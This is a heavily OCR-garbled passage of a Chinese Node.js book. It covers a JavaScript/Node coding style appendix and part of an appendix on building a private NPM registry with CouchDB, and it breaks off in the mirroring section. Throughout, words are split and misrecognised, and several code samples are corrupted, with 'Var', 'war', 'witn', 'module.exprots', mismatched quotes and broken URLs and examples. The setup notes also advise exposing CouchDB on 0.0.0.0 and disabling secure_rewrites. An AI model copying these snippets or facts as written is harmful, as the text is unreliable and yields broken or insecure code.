附录 C “Node 编码 规范 


C.1 根源 

JavaScript 作 为 一 门 编程 语言 ， 在 语法 上 可 谓 是 最 为 灵活 的 语言 了 。 有 
人 喜欢 它 的 灵活 ， 也 有 人 讨厌 它 的 混乱 。 无 论 它 的 灵活 也 好 ， 混 乱 也 
罢 ， 都 离 不 开 其 诞生 的 历史 。Brendan Eich 在 1995 年 里 花 了 10 天 设计 出 
了 这 门 语言 ， 其 后 微软 在 1996 年 也 发 布 了 文 持 JavaScript 的 浏览 器 正 
3.0。 网 景 公 司 为 了 保护 自己 ， 在 1996 年 11 月 将 JavaScript 提 交 给 ECMA 
标准 化 组 织 ， 次 年 6 月 第 一 版 标准 发 布 ， 命 名 为 ECMAScript， 编 号 
262° 

早年 的 JavaScript 编 写 十 分 混乱 。 它 的 灵活 性 和 容忍 度 都 非常 高 ， 使 得 
开发 者 可 以 野 无 顾忌 地 编码 ， 最 终 导 致 它 在 一 定 程度 上 呈 名 昭著 。 在 
编码 规范 上 ， 一 个 重要 的 人 物 是 Douglas Crockford， 他 是 JavaScript 开 
发 社区 最 知名 的 权威 ， 是 JSON、JSLint、JSMin 和 ADSafe 之 父 ， 其 中 
JSLint 现在 仍然 是 最 重要 的 JavaScript 质 量 检 测 工 具 。 他 出 版 的 
JavaScript The Good Parts 一 书 对 于 JavaScript 社 区 影响 深远 。 

通常 ， 一 门 语言 的 发 展 要 经 历 十 多 年 的 锤炼 才能 为 大 众 所 接 受 。 由 于 
历史 原因 ，JavaScript 在 短 短 的 时 间 内 就 被 标 准 化 定型 ， 这 样 它 的 优点 
和 缺点 都 又 露 在 大 众 之 下 。Douglas Crockford 的 JSLint 和 JavaScript: 
The Good Parts 对 JavaScript 的 贡献 在 于 ， 他 让 我 们 能 够 杜 别 语言 中 的 
精华 和 糟粕 ， 写 出 更 好 的 代码 。 

与 其 他 语言 《比如 Python 或 Ruby) 的 程序 员 相 比 ，JavaScript 程 序 员 需 
要 更 多 的 自律 才能 够 写 出 易 读 、 易 维护 的 代码 。 为 避免 这 个 问题 ， 部 
分 开发 者 选择 TypeScript 或 CoffeeScript 来 编写 应 用 。 但 我 认为 了 解 一 门 
语言 为 何 是 当下 这 种 情况 是 有 必要 的 。 编 码 规范 的 目的 是 在 一 定 程 度 
上 约束 程序 员 ， 使 之 能 够 在 团队 中 易 维护 并 且 避 免 低 级 错误 。 

尽管 JavaScript 规 范 已 经 相当 成 熟 ， 利 用 JSLint 能 够 解决 大 部 分 问题 ， 
但 是 随 着 Node 的 流行 ， 带 来 了 一 些 新 的 变化 ， 这 些 需 要 引起 我 们 注 
意 。 本 附录 是 在 总 结 了 JavaScript 的 编码 规范 的 基础 上 ， 根 据 Node 的 特 
殊 环 境 和 社区 的 习惯 进行 改进 而 成 。 


C.2 ”编码 规范 


C.2.1 


空格 与 格式 


缩 进 

采用 2 个 空格 缩 进 ， 而 不 是 tab 缩 进 。 空格 在 编辑 器 中 与 字符 
是 等 宽 的 ， 而 tab 可 能 因 编辑 器 的 设置 不 同 。2 个 空格 会 让 代 
码 看 起 来 更 紧凑 、 明 快 。 

变量 声明 

永远 用 war 声明 变量 ， 不 加 var 时 会 将 其 变 成 全 局 变量 ， 这 样 可 
能 会 意外 污染 上 下 文 ， 或 是 锐意 外 污染 。 在 ECMAScript 5 的 
strict 模 式 下 ， 未 声明 的 变量 将 会 直接 抛 出 ReferenceError 异 各 2 
需要 说 明 的 是 ， 每 行 声明 都 应 该 之 上 var， 而 不 是 只 有 一 个 
var, 示例 代码 如 下 : 


Var assert = require('assert'); 

var fork = require('child_ process').fork,; 

var net = require('net'),; 

Var EventEmitter = require('events').EventEmitter; 


错误 示例 如 下 所 示 : 


var assert = require('assert') 

fork = require('child _ process').fork 

net = require('net') 

EventEmitter = require('events').EventEmitter,; 


空格 
在 操作 符 前 后 需要 加 空格 ， 比 如 :、.、。、%、: 等 操作 符 前 后 
部 应 该 存在 一 个 空格 ， 示 例如 下 : 


var foo = 'bar' + baz; 


错误 的 示例 如 下 所 示 : 


Var foo= 'bar '+baz 


此 外 ， 在 小 括号 前 后 应 该 存在 空格 ， 如 : 


if (true) { 
// some code 


} 


错误 的 示例 如 下 所 示 : 


if(true)t{ 
// some code 


~ ~ 


} 
单 双 引 号 的 使 用 


由 于 双 引 号 在 别 的 场景 下 使 用 较 多 ， 在 Node 中 使 用 字符 串 时 
尽量 使 用 单 引号 ， 这 样 无 需 转 义 ， 如 : 


var html = "<a href="http://cnodejs.org">CNode</a>'， 

而 在 JSON 中 ， 严 格 的 规范 是 要 求 字 符 串 用 双 引 号 ， 内 容 中 出 
现 双 引 号 时 ， 需 要 转 义 。 

大 括号 的 位 置 

一 般 情 况 下 ， 大 括号 无 需 另 起 一 行 ， 如 

if (true) { 


// some code 


} 


错误 的 示例 如 下 : 


if (true) 
{ 


// some code 


逗号 

过 号 用 于 变量 声明 的 分 eo ) 隔 。 如 果 训 号 不 在 行 
结尾 ， 前 面 需 要 一 个 空格 。 "此 外 ， 号 不 允许 出 现在 行 首 ， 
比如 : var too hello Dal = Wom 或 是 var hello = { foo: 
nemlliow bar Wor ye 或 是 、 var world = ['hello', WandE 销 误 示 


例如 下 : 


var foo = 'hello' 
bar = 'world'; 
// 或 是 


var hello = {foo: 'hello' 
; bar: 'world' 


var world = [ 
'hello' 
， "world ' 


]; 
分 号 


给 表达 式 结尾 添加 分 号 5 尽管 JavaScript 编 译 侨 会 目 动 给 行 尾 
添加 分 号 ， 但 还 是 会 市 来 一 些 误解 ， 示 例如 下 : 


function add() { 
Vagaa 三 汗 了 提 三 :和 2 
return 


人 22 


a + b 


} 


将 会 得 到 msiag 的 巡 回 值 。 因为 自动 加 入 分 号 后 会 变 成 如 下 
的 样子 : 


function add() 
var a = 1, b 
return; 
a+b; 
} 


后 续 的 a + b 将 不 会 执行 
而 如 下 的 代码 : 


X = y 
(function () { 
}()) 


执行 时 会 得 到 |: 
x = y(function () {}()) 


由 于 自动 添加 分 号 可 能 带 来 未 预期 的 结果 ， 所 以 添加 上 分 号 
有 助 于 避免 误会 。 


人 


命名 规范 


在 编码 过 程 中 ， 命 名 征 重 头 戏 。 好 的 命名 可 以 令 代码 质心 悦目 ， 带 来 


愉悦 的 阅读 享受 ， 令 代码 具有 良好 的 可 维护 性 。 命 令 的 主要 范畴 有 变 
量 、 常 量 、 方 法 、 类 、 文 件 、 包 等 。 


> 


it 


量 名 都 采用 小 疙 峰 式 命名 ， 即 除了 第 Ep Nee 
外 ,和 每 个 单词 的 首 字母 部 大 写 ， 词 与 词 之 间 没 有 任何 符 
号 。， 旭 : 


var adminUser = {}; 


错误 的 示例 如 下 : 
var admin_user = {}; 
方法 命名 


方法 命名 与 变量 命名 一 样 ， 采 用 小 纶 峰 式 命名 。 与 变量 不 同 
的 是 ， i < 用 动词 或 判断 性 词汇 ， 如 : 


var getUser = function () {0}; 
var isAdmin = function () 


User.prototype.getInfo = function () {}; 


错误 示例 如 下 : 
var get_user = function () {}; 


var is_admin = function () 
User.prototype.get_info = function (ds 


3 类 命名 
类 名 采用 大 驳 峰 式 命 名 ， 即 所 有 单词 的 首 字母 都 大 写 ， 如 : 


function User { 


4. ”常量 命名 
Os 量 时 ， 单 词 的 所 有 字母 都 大 写 ， 并 用 下 划 线 分 割 ， 
用: 
Var PINK_COLOR = "pink"; 

5. ”文件 命名 


命名 文件 时 ， 请 尽量 采用 下 划 线 分 割 单 词 ， 比 如 
child_process.js 和 string_decode.js。 如 果 你 不 想 将 文件 暴露 给 
其 他 用 户 ， 可 以 约定 以 下 划 线 开头 ， 如 _linklistjs。 

6. ” 包 和 名 
也 许 你 有 贡献 模块 并 将 其 打包 发 布 到 NPM 上 “。 在 包 名 中 ， 
量 不 要 包含 js 或 node 的 字样 ， 它 是 重复 的 。 包 名 应 当 尖 当 得 
且 有 意义 的 ， 如 : 


var express = require('express'); 


C.2.3 ”比较 操作 
在 比较 操作 中 ， 如 果 是 无 容忍 的 场景 ， 请 尽量 使 用 === 代 苦 --， 否 则 你 
会 遇 到 下 面 这 样 不 符合 逻辑 的 结 


"0' == 0; // true 
'' == 0 // true 
'0' === '' // false 


此 外 ， 当 判断 容忍 假 值 时 ， 可 以 无 需 使 用 === 或 -=。 在 下 面 的 代码 中 ， 
当 foo 是 6 、 undefined 、 null 、 false 、 时 都 会 进入 分 支 : 


if (!foo) { 
// some code 


} 


C.2.4 ”字面 量 


请 尽量 使 用 0 关 丰 入 Object() 、 new Array() ， 不 要 使 用 gi > Ba ~ 
number 对 每 类 型 ， 即 不 要 调用 new String 、 new ea 不 |] ew Number ° 


C.2.5 ”作用 域 
在 JavaScript 中 ， 需 要 注意 一 个 关键 字 和 一 个 方法 ， 它 们 是 witn 和 
eval( ) ， 容易 引起 作用 域 混乱 


1. 慎 用 witn 
示例 代码 如 下 : 


with (obj) { 
foo = bar,; 
} 


它 的 结果 有 可 能 是 如 下 四 种 之 一 : 0 = oa 、0i5= 
bar; 、foo = bar; 、foo = obj.bar; ， 这 些 结果 取决 于 它 的 作用 域 。 
如 果 作 用 域 链 上 没有 导致 冲突 的 变量 存在 ， 使 用 它 则 是 安全 
的 。 但 在 多 人 合作 的 项 目 中 ， 这 并 不 容易 保证 ， 所 以 要 慎 用 
with ° 

2. 慎 用 eval() 
慎 用 evai0) 的 原因 与 witn 相 同 。 如 末 不 影响 作用 域 上 已 存在 的 
变量 ， 用 它 是 安全 的 。 男 外 ， 利 用 eval() 的 这 个 特性 ， 也 可 以 
玩 出 一 些 好 玩 的 特性 来 ， 比 如 wind.js 利 用 它 实 现 了 流程 控 
制 ， 详 见 第 4 章 。 在 大 多 数 情况 下 ， 基 本 上 轮 不 到 eval0) 来 完 
成 特殊 使 命 。 示 例 代码 如 下 : 
Var obj = { 


foo: 'hello', 
bar: 'world' 


}; 
var key = (Math.round(Math.random() * 100) % 2 === 0) ? 'foo' : 'bar'; 
var value = eval('(obj.' + key + ')'); 


0 出 现在 新 手中 ， 实 际 只 要 如 下 一 行 代码 即 可 完 


var value = obj[key]; 


C.2.6 ”数组 与 对 象 
人 
注意 。 


1. 字面 量 格式 


创建 对 象 或 者 数组 时 ， 注 意 在 结尾 用 去 号 分 隔 。 如 有 果 分 行 ， 
一 行 只 能 一 个 元 素 ， 示 例 代 码 如 下 : 


var foo = ['hello', ‘world']; 
var bar = { 

hello: 'world', 

pretty: 'code' 


错误 示例 如 下 所 示 : 


var foo = ['hello', 
'world"']; 
var bar = { 
hello: 'world', pretty: "code' 
二 


2. for in 循环 


人 
马 如 下 : 


var foo = []， 

foo[100] = 100; 

for (var i in foo) { 
console.1og(i); 


for (var i = 0; i < foo.length; i++) { 
console.1og(i); 


在 上 述 代 码 中 ， 第 一 个 循环 只 打印 一 次 ， 而 第 二 个 循环 则 打 
印 0~100， 这 并 不 满足 预期 值 。 

3. 不 要 把 数组 当做 对 象 使 用 
人 
下 所 示 : 


var foo = [1, 2, 3]; 
foo['hello'] = 'world'; 


这 在 for in 迭 代 时 ， 会 得 到 所 有 值 : 
for (var i in foo) { 
console.log(foo[i]); 


} 


也 许 你 只 是 想得到 hei1o 而 已 。 


C.2.7 异步 


在 Node 中 ， 异 步 使 用 非常 广泛 并 且 在 实践 过 程 中 形成 了 一 些 约定 ， 这 
是 以 往 不 曾 在 意 的 点 。 


1. ， 腊 步 回调 函数 的 第 一 个 参数 应 该 是 错误 指示 

该 部 分 内 容 在 第 4 草 中 有 所 所 及 。 并 不 是 所 有 回调 函数 都 需要 
将 第 一 个 参数 设计 为 错误 对 象 。 但 是 一 旦 涉及 异步 ， 将 会 导 
致 try catcn 无 法 捕获 到 异步 回调 期 的 异常 。 将 第 一 个 参数 设计 
J 告知 调用 方 是 一 个 不 错 的 约定 。 示 例 代 码 如 
(err, data) { 
这 个 约定 被 很 多 流程 控制 库 所 采用 。 遵 循 这 个 约定 ， 可 以 孚 
受 社区 流程 控制 库 带 来 的 业务 编写 便利 。 

2. ”执行 传 入 的 回调 函数 
在 异步 方法 中 一 旦 有 回调 函数 传 入 ， 束 一 定 要 执行 它 ， 且 不 
能 多 次 执行 。 如 果 不 执行 ， 可 能 造成 调用 一 直 等 待 不 结束 ， 
多 次 执行 也 可 能 会 造成 未 期 望 的 结果 。 

C.2.8 ”类 与 模块 


天 于 如 何在 JavaScript 中 实现 继承 ， 有 各 种 各 样 的 方式 ， 但 在 Node 中 我 
们 只 推荐 一 种 ， 那 惑 是 类 继承 的 方式 。 另 外 ， 在 Node 中 ， 如 采取 将 一 
个 类 作为 一 个 模块 ， 丈 需要 在 意 它 的 导出 方式 。 


1 


类 继承 
A 


function Socket(options) { 
stream.Stream. call(thisy); 
A ei 
} 
util,.inherits(Socket, stream.Streanm); 
导出 
所 有 供 外 部 调用 的 方法 或 变量 均 需 挂 载 在 exports 变 量 上 。 当 和 需 
要 将 文件 当做 一 个 类 导出 时 ， 和 需要 通过 如 下 的 方式 挂 载 : 


module.exprots = Class; 


而 不 是 通过 


exports = Class 


私有 方法 无 需 因 为 测试 等 原因 导出 给 外 部 ， 所 以 无 须 挂 载 。 

C.2.9 注解 规范 

一 般 情 况 下 ， 我 们 会 对 每 个 方法 编写 注释 ， 这 里 采用 dox 的 推荐 注释 ， 
示例 如 下 : 


/ 
Queries some records 
Examples: 


query('SELECT * FROM table', function (err, data) { 
// some code 


1); 


Q@param {String} sql Queries 
Q@param {Function} callback Callback 


A ,2 


exports.query = function (sql, callback) { 
Hf i 


}; 


dox 的 注释 规范 源 目 于 JSDoc。 可 以 通过 注释 生成 对 应 的 API 文 档 。 


C.3 ”最 佳 实践 
外 到 的 网 但 可 到 有 很 多 ， 有 于 蕊 的 也 全， 但 这 并 不 用 得 我们 拒 针 基 同 


C.3.1 冲突 的 解决 原则 

如 果 你 要 贡献 部 分 代码 给 某 个 开源 项 目 ， 而 它 的 编码 规范 与 你 并 不 相 
同 ， 这 种 情况 下 需要 采用 入 乡 随 俗 的 原则 ， 尽 量 遵循 开源 项 目 本 身 的 
编码 规范 而 不 是 目 己 的 编码 规范 。 

C.3.2 ”给 编辑 器 设置 检测 工具 

实际 上 ， 现 在 的 编辑 器 基本 上 都 可 以 通过 安装 插件 的 方式 将 JSLint 或 
者 JSHint 这 样 的 代码 质量 扫描 工具 集成 进 开 发 环境 中 ， 这 样 编码 完成 
后 就 可 以 及 时 得 到 提示 。 

如 果 采 用 的 是 Sublime Text 2 编辑 器 ， 在 安装 好 插件 后 ， 可 以 在 项 目 中 
配置 .jshintrc 文 件 ， 每 次 保存 都 会 在 编辑 器 中 提醒 不 规范 的 信息 。 

如 下 是 我 菜 个 项 目的 .jshintrc 文 件 ， 仅 供 参 考 : 


"predef": [ 
"document", 
"module", 
"require", 
'__dirname", 
"process", 
"console", 
nit" , 
nxit" 7 
"describe", 
"xdescribe", 
"before", 
"beforeEach", 
"after", 
"afterEach" 


node": true, 
"es5": true, 
"bitwise": true, 
"curly": true, 
"eqeqedq": true, 
"forin": false, 
"immed": true, 
"latedef": true, 
"newcap": false, 
"noarg": true, 
"noempty": true, 
"nonew": true 
"plusplus": false, 
"undef": true, 
"strict": false, 
"trailing": false, 


"globalstrict": true, 
"nonstandard": true, 
"white": true, 
"indent": 2, 

"expr": true, 
"multistr": true, 
"onevar": false, 
"unused": "vars", 
"swindent": false 


} 


C.3.3 ”版 本 控制 中 的 hook 

另 一 种 最 佳 实践 是 在 版 本 控制 工具 中 完成 的 。 无 论 SVN 还 是 Git， 都 有 
precomit 这 样 的 钩子 脚本 ， 通 过 在 提交 时 实现 代码 质量 的 检查 。 如 果 质 
量 不 达标 ， 将 停止 提交 。 

C.3.4 ”持续 集成 

持续 集成 包含 两 个 方面 : 一 方面 仍 是 代码 质量 的 扫描 ， 可 以 选择 定时 
扫描 ， 或 是 触发 式 扫描 ; 另 一 方面 可 以 通过 集中 的 平台 统计 代码 质量 
的 好 坏 变 化 趋势 。 根 据 统 计 结 果 可 以 判定 团队 中 的 个 人 对 编码 规范 的 
执行 情况 ， 决 定 用 宽松 的 质量 管理 方式 还 是 严格 的 方式 。 


C.4 总结 

代码 质量 关乎 产品 的 质量 ， 最 容易 改进 的 地 方 即 是 编码 规范 ， 收 殖 也 
是 最 高 的 ， 它 远 比 单元 测试 要 容易 付 诸 实践 。 一 旦 团队 制定 了 编码 规 
范 ， 束 应 该 严格 执行 ， 严 格 杜绝 团队 中 编码 规范 拖 后 腿 的 现象 。 

也 许可 以 采用 CoffeeScript 的 方式 来 避免 编码 规范 的 问题 ， 但 是 我 相信 
在 使 用 CoffeeScript 之 人 前， 了解 这 些 规范 会 更 好 地 帮助 你 理解 
CoffeeScript ° 


如 采 你 还 采用 非 编译 式 JavaScript 来 编写 你 的 应 用 ， 请 记 住 这 些 编码 规 
范 。 尽 管 因为 历史 原因 无 法 一 步 到 位 改进 这 些 缺点 ， 但 是 既然 知晓 何 
为 优秀 ， 何 为 糟粕 ， 就 应 该 将 优秀 当做 一 种 习惯 。 


C.5 参考 资源 
本 附录 参考 的 资源 如 下 : 


8 http://go0gle- 


。 https://npmjs.org/doc/coding-style.html NPM 


附录 D ”搭建 局 域 NPM 仓 库 


第 2 章 提 到 了 NPM， 它 由 现今 Node 的 掌 门 人 Isaac Z. Schlueter 创 建 。 最 
初 ，NPM 与 Node 各 目 发 展 ， 在 Node v0.6.3 时 ， 它 成 为 Node 的 一 部 分 。 
NPM 的 出 现 完 善 了 Node 模 块 的 整个 生态 链 ， 让 第 三 方 模块 更 为 易 用 ， 
让 依赖 管理 成 为 很 轻松 容易 的 事情 ， 促 进 整 个 生态 圈 民 性 发 展 。 如 
今 ， 在 GitHub 上 托管 源 代 码 ， 在 NPM 上 发 布 模块 ， 在 代码 中 使 用 第 三 
这 三 者 形成 Node 应 用 的 闭环 。 这 在 开源 社区 中 是 极度 流行 
全 员工 oO 

但 是 在 开源 社区 中 极度 适合 的 应 用 模式 并 不 一 定 适合 一 些 企 业内 部 。 
目前 ， 在 官方 NPM 上 还 存在 一 些 问题 ， 主 要 体现 在 如 下 几 个 方面 。 


。 模块 质量 民 劳 不 齐 。 

。 私有 模块 傈 密 、 共 邓 、 安 装 和 更 新 的 问题 。 
。 版 本 控制 存在 风险 。 

。 模块 安 闭 速 度 无 法 保障 。 


对 于 企业 应 用 而 言 ， 它 们 更 看 重 稳定 和 质量 。 社 区 中 模块 数量 非常 
多 ， 不 乏 很 多 优秀 的 模块 ， 但 是 大 部 分 模块 的 质量 仍然 不 合格 ， 企 业 
在 使 用 时 需要 考量 其 安全 性 。 

对 于 企业 而 言 ， 企 业 目 行 编写 的 模块 出 于 保密 等 考量 ， 无 法 将 模块 发 
布 到 公共 的 NPM 平 台 上 ， 这 对 私有 模块 的 共 诗 、 安 装 和 更 新 都 造成 应 
用 层面 上 的 困扰 。 

NPM 人 允许 通过 添加 -force 进 行 强 制 发 布 ， 尽管 它 会 发 出 警告 ， 但 是 对 
于 控制 权 不 在 自己 手中 的 模块 ， 履 盖 性 发 布 可 能 造成 无 法 预料 的 风 
险 。 模 块 可 能 在 两 次 安装 之 间 版 本 号 相同 ， 但 是 内 容 其 实 已 经 不 同 
了 ， 这 带 来 的 风险 是 相当 不 可 控 的 。 

另外 ， 公 共 NPM 仓 库 是 托管 在 Iris Couch 的 云 平台 上 ， 服 务 并 没有 对 中 
的 网 络 环境 进 行 过 优化 ， 曾 经 一 度 受 到 一 些 网 络 环境 带 来 的 影响 ， 
无 法 保证 稳定 性 。 

上 述 这 些 原因 都 促使 企业 应 当 有 上 自己 的 局 域 NPM 人 仓库。 为 此 ，Node 
v0.10.0 发 布 时 ，Isaac Z. Schlueter 提 到 Iris Couch 基 于 其 运营 NPM 人 公共 
仓库 的 经 验 ， 他 们 团队 为 此 推出 了 irisnpm 服 务 来 运行 私有 NPM 仓 库 。 
通过 在 irisnpm 站 点 上 注册 可 以 申请 该 服务 。 除 了 使 用 irisnpm 的 服务 
外 ， 我 们 还 可 以 目 行 搭建 NPM 仓 库 。 目 行 搭建 NPM 人 仓库， 可 以 实现 企 


业内 部 仓库 与 社区 公共 仓库 之 间 的 隔离 ， 一 方面 可 以 杜绝 上 述 问题 的 
发 生 ， 一 方面 可 以 享受 NPM 工 具 带 来 生态 链 的 完整 性 和 便捷 性 。 

在 package 通过 NPM 工 具 从 私有 仓库 中 安 痛 模块 ， 目 
动 完 成 依赖 模块 的 安 狠 ， 这 与 使 用 开源 社区 的 官方 仓库 一 样 便利 。 如 
果 没 有 私有 NPM 仓 库 ， 共 享 模块 的 过 程 甚至 会 演变 为 复制 粘贴 的 手工 
活 ， 代 码 维护 成 本 略 高 。 


D.1 NPM 仓 库 的 安装 

NPM 仓库 的 源 代 码 托 管 在 GitHub 上， 地址 是 : 
http://github.com/isaacs/npmjs.org。 相 对 于 命令 行 中 执行 的 NPM 命 令 ， 
NPM 仓 库 是 存放 模块 的 服务 器 。 

NPM 仓 库 的 设计 基于 CouchDB 实 现 。CouchDB 是 一 款 NoSQL 数 据 库 ， 
基于 文档 设计 ， 它 的 文档 之 有 版 本 性 质 ， 同 时 烘 露 的 HTTP RESTful 接 
口 十 分 好 用 ， 这 与 Node 的 模块 具有 较为 相似 的 特性 。Isaac Z. Schlueter 
正 是 在 这 个 基础 上 考 虚 用 它 实现 模 块 的 托管 。 有 趣 的 是 ， 作 为 常 拿 
与 Node 在 网 络 并 发 方面 进行 比较 的 Erlang 语 言 ， 看 似 苋 争 者 的 关系， 
其 实在 此 处 是 有 交集 的 。 因 为 CouchDB 基 于 Erlang 写 成 ， 而 NPM 仓 库 
用 它 来 托管 模块 。 

NPM 仓 库 主 要 由 两 部 分 组 成 ， 体 现在 源 代 码 中 分 别 是 ww 和 registry。wwmw 
是 NPM 站 点 的 界面 ，registry 则 是 利用 CouchDB 存 储 模 块 包 文件 和 提供 
JSON API， 面 向 NPM 站 点 和 NPM 命 令 行 工 具 服 务 。 图 D-1 演 示 了 NPM 
的 结构 。 


registry 


npm 


图 D-1 NPM 结 构 

由 于 在 CouchDB 中 构建 Web 应 用 较为 复杂 ， 后 来 Isaac Z. Schlueter 重 新 
构建 了 一 个 新 的 NPM 的 web 应 用 ， 用 来 替代 CouchDB 提 供 的 Web 应 用 
服务 ， 让 CouchDB 做 纯粹 的 数据 托管 并 提供 HTTP RESTful 服 务 。 这 个 
新 的 NPM Web 应 用 就 是 图 D-1 中 的 new www 应 用 ， 其 涛 代码 在 


https:Wgithub.comyisaacsmnpm-www 中 。 


D.1.1 安装 Erlang 和 CouchDB 


安装 NPM 仓 库 所 依赖 的 环境 比较 复杂 ， 对 于 Windows 平 台 而 言 ， 可 以 
找到 编译 好 的 Erlang 和 CouchDB 二 进 制 版 本 。 对 于 Linux 或 Mac 用 户 ， 
这 里 需要 说 明 一 下 。 


1. 安装 Erlang 
安装 Erlang 的 命令 如 下 所 示 : 


$ wget http://www.erlang.org/download/otp_src_R15BO1.tar.gz 
$ tar zxvf otp_src_ R15BO1.tar.gz 


$ cd otp_src_R15B01 
$ ./configure 
$ make & sudo make install 


再 次 键入 下 面 的 命令 ， 检 查 是 否 安 效 成 功 : 
$ erl 


Erlang R15BO1 (erts-5.9.1) [source] [smp:4:4] [async- 
threads:0] [hipe] [kernel-poll:falsel] 


Eshell V5.9.1 (abort with ^G) 
> 


2. 安装 CouchDB 


在 有 Erlang 环 境 的 情况 下 ，CouchDB 才 能 被 安装 。 安 装 步 又 
跟 Erlang 差 别 不 大 ， 相 天 命令 如 下 : 


$ wget http://mirror.bit.edu.cn/apache/couchdb/releases/1.2.0/apache- 
couchdb-1.2.0.tar.gz 

$ tar zxvf apache-couchdb-1.2.0.tar.gz 

$ cd apache-couchdb-1.2.0 

$ ./configure --prefix=/home/admin/couchdb # 考 虑 磁盘 空间 的 因素 ， 选 择 适 合 的 目 对 
$ make & sudo make install 


上 述 需 要 莹 谍 的 是 如 人 他 | 车 中 存在 大 量 模块 ， 将 会 占用 较 多 
的 磁盘 至 间 ， 所 以 前 慎 选 择 要 存放 的 目 孙 。 在 执行 ./configure 
设置 配置 文件 。 


CouchDB 的 安装 还 需要 依赖 Mozilla 的 SpiderMonkey 来 执行 一 
些 J 7 它 的 安装 命令 如 下 : 


$ wget http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz 
$ tar zxvf js185-1.0.0.tar.gz 

$ cd js-1.8.5/js 

$ autoconf-2.13 

$ ./configure 

$ make & make install 


3 启动 CouchDB 服 务 
启动 CouchDB 服 务 的 命令 如 下 所 示 : 


$ sudo couchdb & 
$ curl -i http://127.0.0.1:5984/ # 查 看 服务 是 否 启动 正确 


D.1.2 搭建 NPM 仓 库 


在 前 述 工 作 束 绪 之 后 ， 我 们 就 可 以 搭建 NPM 仓 库 了 ， 步 需 要 
CouchDB 一 直 局 动作 为 服务 。 搭 建 NPM 仓 库 半 要 包 合 如 下 5 


1. 创建 NPM 数 据 库 。 首 先 ， 我 们 需要 调用 CouchDB 的 接口 为 仓 
库 创 建 一 个 数据 库 ， 之 后 所 有 的 模块 包 文 件 将 作为 附件 保存 


(© 


在 这 个 数据 库 中 。 


$ curl -X PUT http://127.0.0.1:5984/registry 
{"ok":true} 


除 此 之 外 ， 还 需要 获取 NPM 仓 库 服务 器 的 源 代码 。 
获取 NPM 仓 库 源 代码 。 相 关 命 令 如 下 : 


$ git clone https://github.com/isaacs/npmjs.org.git 
$ cd npmjs.org 


获取 安装 工具 。 相 关 命 令 如 下 : 
$ sudo npm install couchapp -9g 


$ npm install couchapp 
$ npm install semver 


装载 NPM 仓 库 代 码 到 CouchDB 中 。 相 关 命 令 如 下 : 


$ couchapp push registry/app.js http://127.0.0.1:5984/registry 
Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/_design/scratch 

Finished push. 1-4dd18325b8d8c5e60d1451904005414e 

$ couchapp push www/app.js http://127.0.0.1:5984/registry 
Preparing. 

Serializing. 

PUT http://127.0.0.1:5984/registry/_design/ui 

Finished push. 1-4357980d099a397591f54fc7bf1c469b 


上 述 步 骤 分 别 将 reeistry 代 码 和 wm 下 的 代码 放 进 CouchDB 的 
registry 库 中 。 一 个 本 地 的 NPM 仓 库 就 此 搭建 完成 了 。 

访问 http:/127.0.0.1:5984/registry/_design/ui/ rewrite ， 可 以 看 
到 NPM 仓 库 的 Web UI 界面 。 


访问 http://127.0.0.1:5984/registry/_design/scratch/ _ rewrite ， 则 
对 应 的 是 JSON API 服 务 。 


这 两 个 URL 地 址 相对 而 言 比较 难 记 住 。 可 以 在 CouchDB 前 面 
染 设 反 同 人 代理， 使 得 URL 变 得 优雅 ， 比 如 
http://search.npm.your_domain.com/ 和 
http:/registrynpm.your_domain.com/， 这 样 可 以 隐藏 路 径 和 端 
口 ， 有 一 个 容易 记 住 的 二 级 域名 即 可 。 除 此 之 外 ， 更 改 
CouchDB 的 配置 ， 也 可 以 达到 这 个 效果 。 
注意 
默认 安装 CouchDB 后 ， 将 会 监听 127.0.0.1 这 个 地 址 ， 这 
会 导致 只 有 当前 机 器 可 以 访问 CouchDB 服 务 ， 改 为 
0.0.0.0 则 可 以 被 外 部 机 器 访问 到 。 


访 问 http://127.0.0.1:5984/registry/_design/scratch/_rewrite 
将 可 能 得 到 insecure_rewrite_rule too many ../.. segments 这 
样 的 错误 ， 修 改 CouchDB 配 置 中 的 secure_rewrites 为 false 
可 以 解决 该 问题 。 
配合 NPM 和 客户 端 。 任 意 需 要 从 本 地 NPM 仓 库 进 行 操作 的 命 
加 


A , 只 加 人 ey 
registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite 即 可 3 
比如 : 

$ npm install plusplus 


registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite 


为 了 解决 命令 行 过 长 不 容易 牢记 的 问题 ， 可 以 使 用 如 下 方 
2 

$ npm config set registry http://127.0.0.1:5984/registry/_design/scratch/ 
_rewrite 


这 个 方法 的 一 个 问题 在 于 ， 如 果 经 常 需要 在 官方 仓库 和 本 地 
仓库 切换 ， 那 就 比较 奢 烦 。 为 此 ， 我 们 可 以 利用 bash 中 的 
alias 功 能 来 解决 这 个 问题 在 -/.bashrc 或 -/.profile 文 件 的 结尾 
处 添加 如 下 这 行 代码 : 


alias lnpm="'npm 
registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite' 


重新 局 动 命令 行 ，npm 操 作 的 是 官方 仓库 ，lnpn 操 作 的 则 是 本 地 
仓库 。 其 余 参数 和 命令 均 相 同 。 


D.2 ”高 阶 应 用 
在 上 述 过 程 中 ， 我 们 完成 了 一 个 NPM 仓 库 的 搭建 。 我 们 可 以 将 这 个 本 地 
仓库 用 作 镜 像 仓 库 ， 也 可 以 用 作 目 己 全 新 的 仓库 。 


D.2.1 镜像 仓库 

镜像 仓库 ， 完 全 是 官方 仓库 的 一 个 镜像 地 址 ， 我 们 可 以 通过 同步 的 方式 
将 官方 公共 仓库 中 的 模块 包 完 全 同步 到 镜像 仓库 中 来 。 镜 像 仓 库 可 以 解 
决 安装 过 程 中 的 速度 问题 ， 稳 定性 可 以 得 到 保障 。 但 是 一 个 新 的 问题 是 
66 否则 仓库 中 会 出 现 落 后 于 官方 模块 的 情 
1 

由 于 NPM 仓 库 实 质 上 就 是 一 个 CouchDB 数 据 库 ， 同 步 官方 仓库 到 镜像 仓 
库 其 实 就 是 对 官方 数据 库 的 复制 。 这 个 复制 过 程 可 以 采用 CouchDB 自 己 
的 复制 功能 完成 ， 它 的 实质 是 增 量 同步 的 功能 。 我 党 试 过 很 多 次 ， 由 于 
网 络 问题 ， 整 体 的 复制 性 能 十 分 低 效 。Node 社 区 的 Mikeal Rogers (request 
模块 的 作者 、NodeConf 大 会 组 织 者 ) 写 了 一 个 replicate 模 块 用 来 进行 同步 
